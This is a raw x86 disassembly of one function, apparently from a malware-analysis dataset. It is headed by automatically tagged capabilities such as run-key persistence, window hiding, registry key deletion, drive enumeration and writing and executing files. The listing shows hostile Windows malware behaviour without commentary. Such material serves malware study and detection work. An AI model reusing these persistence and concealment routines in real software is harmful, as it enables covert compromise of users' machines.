Function at 0x40f3bc
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Hide graphical window
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2b
push 0
push 0
dec ecx
jne 0x40f3c4
push ebx
push esi
push edi
mov esi, 0x413adc
mov ebx, 0x413b43
mov edi, 0x413ae8
xor eax, eax
push ebp
push 0x4106d8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x413b44], 0x66
jne 0x40f43d
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x4106f0
mov edx, 0x410700
mov eax, 0x80000002
call fcn.00406724
mov edx, dword [ebp - 4]
mov eax, edi
call fcn.00403770
cmp byte [0x413b41], 0
jne 0x40f43d
push 0x2710
call sub.KERNEL32.DLL_Sleep
mov eax, dword [edi]
call fcn.004065c4
mov byte [ebx], al
mov edx, 0x410700
mov ecx, 0x4106f0
mov eax, 0x80000002
call fcn.00406bec
lea eax, [ebp - 8]
call fcn.00406468
mov edx, dword [ebp - 8]
mov eax, 0x413ad8
call fcn.00403770
lea eax, [ebp - 0xc]
call fcn.004064d4
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00403770
mov eax, 0x413ae0
mov ecx, 0x410748
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [edi]
call fcn.00403894
test eax, eax
jne 0x40f4a2
mov eax, edi
mov ecx, 0x410758
mov edx, dword [esi]
call fcn.004038e0
mov eax, 0x412130
mov ecx, dword [0x412130]
mov edx, dword [esi]
call fcn.004038e0
mov eax, 0x413ad0
mov ecx, 0x41076c
mov edx, dword [0x412130]
call fcn.004038e0
mov eax, 0x413ad4
mov ecx, 0x410780
mov edx, dword [0x412130]
call fcn.004038e0
xor eax, eax
mov dword [0x413b48], eax
call fcn.00410fe0
cmp byte [0x413b41], 0
je 0x40f708
mov eax, 0x410794
call fcn.00405bb8
push 0xbb8
call sub.KERNEL32.DLL_Sleep
call fcn.00406644
lea eax, [ebp - 0x10]
mov ecx, 0x4107ac
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x10]
call fcn.00405a6c
lea eax, [ebp - 0x14]
mov ecx, 0x4107c0
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x14]
call fcn.00405a6c
mov eax, dword [0x413ad0]
call fcn.00405a6c
mov ecx, 0x410758
mov edx, 0x4107d4
mov eax, 0x80000002
call fcn.00406bec
mov ecx, 0x410758
mov edx, 0x41080c
mov eax, 0x80000002
call fcn.00406bec
mov ecx, 0x410758
mov edx, 0x41084c
mov eax, 0x80000001
call fcn.00406bec
mov edx, 0x4107d4
mov ecx, 0x410894
mov eax, 0x80000001
call fcn.00406bec
mov edx, 0x41084c
mov ecx, 0x4108a4
mov eax, 0x80000002
call fcn.00406bec
lea eax, [ebp - 0x18]
mov ecx, 0x4108b8
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x18]
call fcn.00405a6c
lea eax, [ebp - 0x1c]
mov ecx, 0x4108d0
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x1c]
call fcn.00405a6c
lea eax, [ebp - 0x20]
mov ecx, 0x4108e4
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x20]
call fcn.00405a6c
lea eax, [ebp - 0x24]
mov ecx, 0x4108fc
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x24]
call fcn.00405a6c
lea eax, [ebp - 0x28]
mov ecx, 0x410914
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x28]
call fcn.00405a6c
lea eax, [ebp - 0x2c]
mov ecx, 0x410928
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x2c]
call fcn.00405a6c
lea eax, [ebp - 0x30]
mov ecx, 0x41093c
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x30]
call fcn.00405a6c
push 0x410948
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x410974
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x4109bc
call fcn.0040e460
mov eax, 0x4109c8
call fcn.0040e460
mov eax, 0x4109d4
call fcn.0040e460
mov eax, dword [0x413ad4]
call fcn.00405a6c
push 0x200040
push 0x4109d8
push 0x4109f0
lea edx, [ebp - 0x38]
mov eax, 0x71
call fcn.00405370
push dword [ebp - 0x38]
push 0x410a04
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x34]
call fcn.00403a94
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x410794
lea eax, [ebp - 0x3c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x3c]
call fcn.00403a94
push eax
push 0x410a1c
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00405ac4
jmp 0x4106ba
push 0
mov eax, dword [0x412130]
call fcn.00403a94
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
call sub.KERNEL32.DLL_GetVersion
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x413b40]
cmp byte [0x413b40], 0
je 0x40f742
call fcn.00405f9c
mov eax, dword [0x4121f8]
push eax
mov edx, 0x410700
mov ecx, 0x410a2c
mov eax, 0x80000002
call fcn.00406670
push eax
call fcn.004055c8
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x4106ba
lea edx, [ebp - 0x40]
mov eax, dword [edi]
call fcn.004055f8
mov edx, dword [ebp - 0x40]
mov eax, 0x413aec
call fcn.00403770
call fcn.0040278c
push 1
push 0x96
push 0x222e1
mov ecx, 0x4108b8
lea eax, [ebp - 0x44]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x44]
mov cl, 1
mov eax, dword [edi]
call fcn.004057bc
mov byte [ebx], al
mov ecx, 0x4108b8
lea eax, [ebp - 0x48]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x48]
call fcn.004065c4
mov byte [ebx], al
mov eax, dword [0x4121f8]
push eax
mov edx, 0x410700
mov ecx, 0x410a38
mov eax, 0x80000002
call fcn.00406670
mov dword [0x413b38], eax
cmp dword [0x413b38], 0x71
jge 0x40f8a7
cmp byte [ebx], 0
jne 0x40f84b
mov ecx, 0x4108b8
lea eax, [ebp - 0x4c]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x4c]
mov eax, dword [edi]
call fcn.004039e0
je 0x40f84b
mov eax, 0x4108b8
call fcn.00405bb8
push 1
push 0x96
push 0x222e1
mov ecx, 0x4108b8
lea eax, [ebp - 0x50]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [edi]
call fcn.004057bc
mov byte [ebx], al
cmp byte [ebx], 0
je 0x40f8a7
push 0x71
mov ecx, 0x410a38
mov edx, 0x410700
mov eax, 0x80000002
call fcn.004068e8
mov byte [ebx], al
push 0x410a48
lea edx, [ebp - 0x58]
mov eax, 0x71
call fcn.00405370
push dword [ebp - 0x58]
push 0x410a5c
lea edx, [ebp - 0x5c]
mov eax, dword [0x413b38]
call fcn.00405370
push dword [ebp - 0x5c]
lea eax, [ebp - 0x54]
mov edx, 4
call fcn.00403954
mov eax, dword [ebp - 0x54]
call fcn.00411020
call fcn.00406f1c
push 1
push 0x96
push 0x222e1
mov ecx, 0x4108d0
lea eax, [ebp - 0x60]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x60]
xor ecx, ecx
mov eax, dword [edi]
call fcn.004057bc
mov byte [ebx], al
mov ecx, 0x4108d0
lea eax, [ebp - 0x64]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x64]
call fcn.004065c4
mov byte [ebx], al
push 1
push 0x96
push 0x222e1
mov ecx, 0x4108e4
lea eax, [ebp - 0x68]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x68]
xor ecx, ecx
mov eax, dword [edi]
call fcn.004057bc
mov byte [ebx], al
mov ecx, 0x4108e4
lea eax, [ebp - 0x6c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x6c]
call fcn.004065c4
mov byte [ebx], al
mov ecx, 0x410928
lea eax, [ebp - 0x70]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x70]
call fcn.00405850
test al, al
jne 0x40f9bb
push 1
push 0
push 0x222e1
mov ecx, 0x410928
lea eax, [ebp - 0x74]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x74]
push eax
mov ecx, 0x4108fc
lea eax, [ebp - 0x78]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x78]
xor ecx, ecx
pop edx
call fcn.004057bc
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x41093c
lea eax, [ebp - 0x7c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, 0x410914
lea eax, [ebp - 0x80]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x80]
xor ecx, ecx
pop edx
call fcn.004057bc
mov byte [ebx], al
mov ecx, 0x4108fc
lea eax, [ebp - 0x84]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x84]
call fcn.00405850
test al, al
jne 0x40fa68
push 1
push 0
push 0x222e1
mov ecx, 0x4108fc
lea eax, [ebp - 0x88]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x88]
push eax
mov ecx, 0x410928
lea eax, [ebp - 0x8c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
pop edx
call fcn.004057bc
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x410914
lea eax, [ebp - 0x90]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x90]
push eax
mov ecx, 0x41093c
lea eax, [ebp - 0x94]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x94]
xor ecx, ecx
pop edx
call fcn.004057bc
mov byte [ebx], al
mov eax, dword [edi]
call fcn.004065c4
mov byte [ebx], al
mov ecx, 0x4108fc
lea eax, [ebp - 0x98]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x98]
call fcn.004065c4
mov byte [ebx], al
mov ecx, 0x410914
lea eax, [ebp - 0x9c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x9c]
call fcn.004065c4
mov byte [ebx], al
mov ecx, 0x410928
lea eax, [ebp - 0xa0]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xa0]
call fcn.004065c4
mov byte [ebx], al
mov ecx, 0x41093c
lea eax, [ebp - 0xa4]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xa4]
call fcn.004065c4
mov byte [ebx], al
call fcn.0040d294
mov eax, 0x4109bc
call fcn.0040d81c
mov eax, 0x4109c8
call fcn.0040d81c
mov eax, 0x4109d4
call fcn.0040d81c
push 0
push 0
push 0x413b3c
mov ecx, 0x40743c
xor edx, edx
xor eax, eax
call fcn.004036d8
push 0
push 0
push 0x413b3c
mov ecx, 0x406db8
xor edx, edx
xor eax, eax
call fcn.004036d8
mov ecx, 0x4108b8
mov eax, 0x413ae4
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [0x413ae4]
mov edx, dword [edi]
call fcn.004039e0
je 0x40fb9f
mov ecx, 0x4108d0
lea eax, [ebp - 0xa8]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xa8]
mov edx, dword [edi]
call fcn.004039e0
je 0x40fb9f
mov ecx, 0x4108e4
lea eax, [ebp - 0xac]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xac]
mov edx, dword [edi]
call fcn.004039e0
jne 0x40fbab
mov eax, 0x413ae4
call fcn.0040371c
jmp 0x40fbbc
mov eax, 0x413ae4
mov ecx, dword [edi]
mov edx, 0x410a6c
call fcn.004038e0
mov al, byte [0x413b44]
sub al, 0x64
je 0x40fbcf
dec al
je 0x40fbe6
dec al
je 0x40fbfd
jmp 0x40fc14
mov eax, 0x413ae4
mov ecx, dword [0x413ae4]
mov edx, 0x410a78
call fcn.004038e0
jmp 0x40fc1e
mov eax, 0x413ae4
mov ecx, dword [0x413ae4]
mov edx, 0x410a84
call fcn.004038e0
jmp 0x40fc1e
mov eax, 0x413ae4
mov ecx, dword [0x413ae4]
mov edx, 0x410a90
call fcn.004038e0
jmp 0x40fc1e
mov eax, 0x410aa0
call fcn.00411020
lea eax, [ebp - 0xb0]
mov ecx, dword [0x413ae4]
mov edx, 0x410aac
call fcn.004038e0
mov eax, dword [ebp - 0xb0]
call fcn.00411020
mov eax, 0x413b5c
mov ecx, 0x410700
mov edx, 0x80000002
call fcn.00406a44
test al, al
jne 0x40fc7e
mov eax, 0x413b5c
mov ecx, 0x410700
mov edx, 0x80000002
call fcn.00406a44
test al, al
jne 0x40fc7e
mov eax, 0x410abc
call fcn.00411020
jmp 0x4106ba
push dword [esi]
push 0x410ad4
push 0x410ae4
mov eax, 0x413b04
mov edx, 3
call fcn.00403954
mov eax, dword [0x413b04]
call fcn.00405850
test al, al
jne 0x40fd13
push 1
push 0x96
push 0x222e1
lea eax, [ebp - 0xb4]
mov ecx, 0x410af4
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xb4]
mov cl, 1
mov edx, dword [0x413b04]
call fcn.004057bc
test al, al
je 0x40fcff
lea eax, [ebp - 0xb8]
mov ecx, dword [0x413b04]
mov edx, 0x410b0c
call fcn.004038e0
mov eax, dword [ebp - 0xb8]
call fcn.00411020
jmp 0x40fd13
mov eax, 0x410b28
call fcn.00411020
mov eax, 0x413b04
call fcn.0040371c
mov eax, dword [0x413b04]
call fcn.00403894
test eax, eax
jle 0x40ff07
mov eax, 0x413b0c
mov ecx, 0x410b38
mov edx, dword [esi]
call fcn.004038e0
mov eax, 0x413b08
mov edx, 0x410b4c
call fcn.00403770
lea eax, [ebp - 0xbc]
mov ecx, 0x410b60
mov edx, dword [0x413b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xbc]
call fcn.00405850
test al, al
je 0x40fd79
mov eax, 0x413b08
mov edx, 0x410b70
call fcn.0040389c
lea eax, [ebp - 0xc0]
mov ecx, 0x410b80
mov edx, dword [0x413b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xc0]
call fcn.00405850
test al, al
je 0x40fdad
mov eax, 0x413b08
mov edx, 0x410b90
call fcn.0040389c
lea eax, [ebp - 0xc4]
mov ecx, 0x410ba0
mov edx, dword [0x413b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xc4]
call fcn.00405850
test al, al
je 0x40fde1
mov eax, 0x413b08
mov edx, 0x410bb0
call fcn.0040389c
lea eax, [ebp - 0xc8]
mov ecx, 0x410bc0
mov edx, dword [0x413b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xc8]
call fcn.00405850
test al, al
je 0x40fe15
mov eax, 0x413b08
mov edx, 0x410bd0
call fcn.0040389c
lea eax, [ebp - 0xcc]
mov ecx, 0x410be0
mov edx, dword [0x413b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xcc]
call fcn.00405850
test al, al
je 0x40fe49
mov eax, 0x413b08
mov edx, 0x410bf0
call fcn.0040389c
lea eax, [ebp - 0xd0]
mov ecx, 0x410c00
mov edx, dword [0x413b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xd0]
call fcn.00405850
test al, al
je 0x40fe7d
mov eax, 0x413b08
mov edx, 0x410c10
call fcn.0040389c
lea eax, [ebp - 0xd4]
mov ecx, 0x410c20
mov edx, dword [0x413b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xd4]
call fcn.00405850
test al, al
je 0x40feb1
mov eax, 0x413b08
mov edx, 0x410c30
call fcn.0040389c
mov eax, dword [0x413b08]
mov edx, 0x410c40
call fcn.004039e0
jne 0x40fece
mov eax, 0x410c70
call fcn.00411020
jmp 0x40feef
lea eax, [ebp - 0xd8]
mov ecx, dword [0x413b08]
mov edx, 0x410c80
call fcn.004038e0
mov eax, dword [ebp - 0xd8]
call fcn.00411020
push 0
mov ecx, 0x410c90
mov edx, 0x410ca0
mov eax, 0x80000001
call fcn.004068e8
jmp 0x40ff11
mov eax, 0x413b08
call fcn.0040371c
cmp byte [0x413b40], 0
jne 0x40ff65
push 0x1f40
call sub.KERNEL32.DLL_Sleep
push 0x410cb8
push 0
call sub.user32.dll_FindWindowA
mov dword [0x413b3c], eax
cmp dword [0x413b3c], 0
jne 0x40ff4f
push 0x410cd0
push 0
call sub.user32.dll_FindWindowA
mov dword [0x413b3c], eax
cmp dword [0x413b3c], 0
jbe 0x40ff65
push 0
mov eax, dword [0x413b3c]
push eax
call sub.user32.dll_ShowWindow
mov eax, dword [0x4121f8]
push eax
mov edx, 0x410700
mov ecx, 0x410cf0
mov eax, 0x80000002
call fcn.00406670
mov dword [0x413b20], eax
mov eax, dword [0x4121f8]
push eax
mov edx, 0x410700
mov ecx, 0x410d00
mov eax, 0x80000002
call fcn.00406670
mov dword [0x413b30], eax
cmp dword [0x413b30], 0x64
jge 0x410152
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0xe0]
push eax
mov edx, 0x410700
mov ecx, 0x410d10
mov eax, 0x80000002
call fcn.00406724
mov eax, dword [ebp - 0xe0]
lea edx, [ebp - 0xdc]
call fcn.004053f4
mov edx, dword [ebp - 0xdc]
mov eax, 0x413afc
call fcn.00403770
mov eax, dword [0x413afc]
call fcn.00403894
test eax, eax
je 0x410012
mov eax, dword [0x413afc]
mov al, byte [eax]
add al, 0x9f
sub al, 0x1a
jb 0x410021
mov eax, 0x413afc
mov edx, 0x410d20
call fcn.00403770
mov eax, dword [0x413afc]
mov bl, byte [eax]
cmp bl, 0x63
jb 0x41012e
lea eax, [ebp - 0xe4]
mov edx, ebx
call fcn.0040383c
lea eax, [ebp - 0xe4]
mov edx, 0x410d2c
call fcn.0040389c
mov eax, dword [ebp - 0xe4]
call fcn.00403a94
push eax
call sub.KERNEL32.DLL_GetDriveTypeA
add eax, 0xfffffffe
sub eax, 3
jb 0x410070
sub eax, 1
jne 0x41011d
xor eax, eax
mov dword [0x413b24], eax
lea eax, [ebp - 0xe8]
mov edx, ebx
call fcn.0040383c
lea eax, [ebp - 0xe8]
mov edx, 0x410d2c
call fcn.0040389c
mov eax, dword [ebp - 0xe8]
call fcn.0040acc4
lea eax, [ebp - 0xf0]
mov edx, ebx
call fcn.0040383c
mov ecx, dword [ebp - 0xf0]
lea eax, [ebp - 0xec]
mov edx, 0x410d38
call fcn.004038e0
mov eax, dword [ebp - 0xec]
call fcn.00411020
lea eax, [ebp - 0xf4]
xor edx, edx
mov dl, bl
dec edx
call fcn.0040383c
mov eax, dword [ebp - 0xf4]
push eax
mov ecx, 0x410d10
mov edx, 0x410700
mov eax, 0x80000002
call fcn.004067f8
push 0
mov ecx, 0x410cf0
mov edx, 0x410700
mov eax, 0x80000002
call fcn.004068e8
cmp bl, 0x63
jne 0x41011d
mov eax, 0x410d4c
call fcn.00411020
xor eax, eax
mov dword [0x413b20], eax
dec ebx
cmp bl, 0x62
jne 0x410031
mov dword [0x413b30], 0x64
mov eax, dword [0x413b30]
push eax
mov ecx, 0x410d00
mov edx, 0x410700
mov eax, 0x80000002
call fcn.004068e8
cmp dword [0x413b30], 0xc8
jge 0x4101c9
cmp byte [0x413b44], 0x66
jne 0x41016e
mov byte [0x412128], 0
xor eax, eax
mov dword [0x413b28], eax
mov eax, dword [0x4121f8]
push eax
mov edx, 0x410700
mov ecx, 0x410d60
mov eax, 0x80000002
call fcn.00406670
mov dword [0x413b2c], eax
xor eax, eax
call fcn.0040b4e4
mov dword [0x413b30], 0xc8
mov eax, dword [0x413b30]
push eax
mov ecx, 0x410d00
mov edx, 0x410700
mov eax, 0x80000002
call fcn.004068e8
mov eax, 0x410d70
call fcn.00411020
mov eax, 0x413b5c
call fcn.00406ab8
mov eax, dword [0x413aec]
call fcn.00403894
test eax, eax
jne 0x410216
lea edx, [ebp - 0xf8]
mov eax, dword [edi]
call fcn.004055f8
mov edx, dword [ebp - 0xf8]
mov eax, 0x413aec
call fcn.00403770
mov eax, dword [0x413aec]
call fcn.00403894
test eax, eax
jne 0x410216
call fcn.0040954c
jmp 0x4106ba
cmp byte [0x413b44], 0x64
jne 0x410229
call fcn.00410f24
call fcn.004035b0
mov byte [0x412128], 0
mov eax, dword [0x4121f8]
push eax
mov edx, 0x410700
mov ecx, 0x410d84
mov eax, 0x80000002
call fcn.00406670
dec eax
je 0x4102ed
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [0x413ad0]
call fcn.00403a94
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [0x413b4c], eax
push 2
push 0
push 0
mov eax, dword [0x413b4c]
push eax
call sub.KERNEL32.DLL_SetFilePointer
lea eax, [ebp - 0xfc]
call fcn.0040764c
mov edx, dword [ebp - 0xfc]
mov eax, 0x413ae4
call fcn.00403770
push 0
push 0x413b3c
mov eax, dword [0x413ae4]
call fcn.00403894
push eax
mov eax, 0x413ae4
call fcn.00403aec
push eax
mov eax, dword [0x413b4c]
push eax
call sub.KERNEL32.DLL_WriteFile
mov eax, dword [0x413b4c]
push eax
call sub.KERNEL32.DLL_CloseHandle
push 1
mov ecx, 0x410d84
mov edx, 0x410700
mov eax, 0x80000002
call fcn.004068e8
push 0xea60
call sub.KERNEL32.DLL_Sleep
lea edx, [ebp - 0x100]
mov al, 1
call fcn.00405430
mov ecx, dword [ebp - 0x100]
mov eax, 0x413af8
mov edx, 0x410d94
call fcn.004038e0
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x41032c
jmp dword [eax*4 + 0x410333]
lea edx, [ebp - 0x104]
mov eax, 0x410da8
call fcn.00405fe4
mov edx, dword [ebp - 0x104]
mov eax, 0x413af4
call fcn.00403770
jmp 0x410440
lea edx, [ebp - 0x108]
mov eax, 0x410dc0
call fcn.00405fe4
mov edx, dword [ebp - 0x108]
mov eax, 0x413af4
call fcn.00403770
jmp 0x410440
lea edx, [ebp - 0x10c]
mov eax, 0x410dd8
call fcn.00405fe4
mov edx, dword [ebp - 0x10c]
mov eax, 0x413af4
call fcn.00403770
jmp 0x410440
lea edx, [ebp - 0x110]
mov eax, 0x410df0
call fcn.00405fe4
mov edx, dword [ebp - 0x110]
mov eax, 0x413af4
call fcn.00403770
jmp 0x410440
lea edx, [ebp - 0x114]
mov eax, 0x410e08
call fcn.00405fe4
mov edx, dword [ebp - 0x114]
mov eax, 0x413af4
call fcn.00403770
jmp 0x410440
lea edx, [ebp - 0x118]
mov eax, 0x410e24
call fcn.00405fe4
mov edx, dword [ebp - 0x118]
mov eax, 0x413af4
call fcn.00403770
jmp 0x410440
lea edx, [ebp - 0x11c]
mov eax, 0x410e3c
call fcn.00405fe4
mov edx, dword [ebp - 0x11c]
mov eax, 0x413af4
call fcn.00403770
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x410453
jmp dword [eax*4 + 0x41045a]
lea edx, [ebp - 0x120]
mov eax, 0x410e54
call fcn.00405fe4
mov edx, dword [ebp - 0x120]
mov eax, 0x413af0
call fcn.00403770
jmp 0x410567
lea edx, [ebp - 0x124]
mov eax, 0x410e70
call fcn.00405fe4
mov edx, dword [ebp - 0x124]
mov eax, 0x413af0
call fcn.00403770
jmp 0x410567
lea edx, [ebp - 0x128]
mov eax, 0x410e8c
call fcn.00405fe4
mov edx, dword [ebp - 0x128]
mov eax, 0x413af0
call fcn.00403770
jmp 0x410567
lea edx, [ebp - 0x12c]
mov eax, 0x410ea8
call fcn.00405fe4
mov edx, dword [ebp - 0x12c]
mov eax, 0x413af0
call fcn.00403770
jmp 0x410567
lea edx, [ebp - 0x130]
mov eax, 0x410ec4
call fcn.00405fe4
mov edx, dword [ebp - 0x130]
mov eax, 0x413af0
call fcn.00403770
jmp 0x410567
lea edx, [ebp - 0x134]
mov eax, 0x410edc
call fcn.00405fe4
mov edx, dword [ebp - 0x134]
mov eax, 0x413af0
call fcn.00403770
jmp 0x410567
lea edx, [ebp - 0x138]
mov eax, 0x410ef8
call fcn.00405fe4
mov edx, dword [ebp - 0x138]
mov eax, 0x413af0
call fcn.00403770
mov ecx, 0x4107ac
lea eax, [ebp - 0x13c]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x13c]
mov eax, dword [0x413ad0]
call fcn.0040ed98
test al, al
je 0x4105b3
mov ecx, 0x4107c0
lea eax, [ebp - 0x140]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x140]
mov eax, dword [0x413ad4]
call fcn.0040ed98
test al, al
jne 0x4105bd
call fcn.00410f24
jmp 0x4106ba
call fcn.00406168
mov ecx, 0x4107ac
lea eax, [ebp - 0x144]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x144]
call fcn.0040bb94
test al, al
je 0x410605
mov ecx, 0x4107c0
lea eax, [ebp - 0x148]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x148]
call fcn.0040bb94
jmp 0x4106ba
call fcn.00406168
mov ecx, 0x4107ac
lea eax, [ebp - 0x14c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x14c]
call fcn.0040bb94
test al, al
je 0x41064a
mov ecx, 0x4107c0
lea eax, [ebp - 0x150]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x150]
call fcn.0040bb94
jmp 0x4106ba
call fcn.00406168
mov ecx, 0x4107ac
lea eax, [ebp - 0x154]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x154]
call fcn.0040bb94
test al, al
je 0x41068f
mov ecx, 0x4107c0
lea eax, [ebp - 0x158]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x158]
call fcn.0040bb94
jmp 0x4106ba
call fcn.00406168
call fcn.0040c5a8
test al, al
jne 0x4106ba
call fcn.00406168
call fcn.0040ca8c
test al, al
jne 0x4106ba
call fcn.0040c5a8
mov eax, 0x410f14
call fcn.00411020
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4106df
lea eax, [ebp - 0x158]
mov edx, 0x56
call fcn.00403740
ret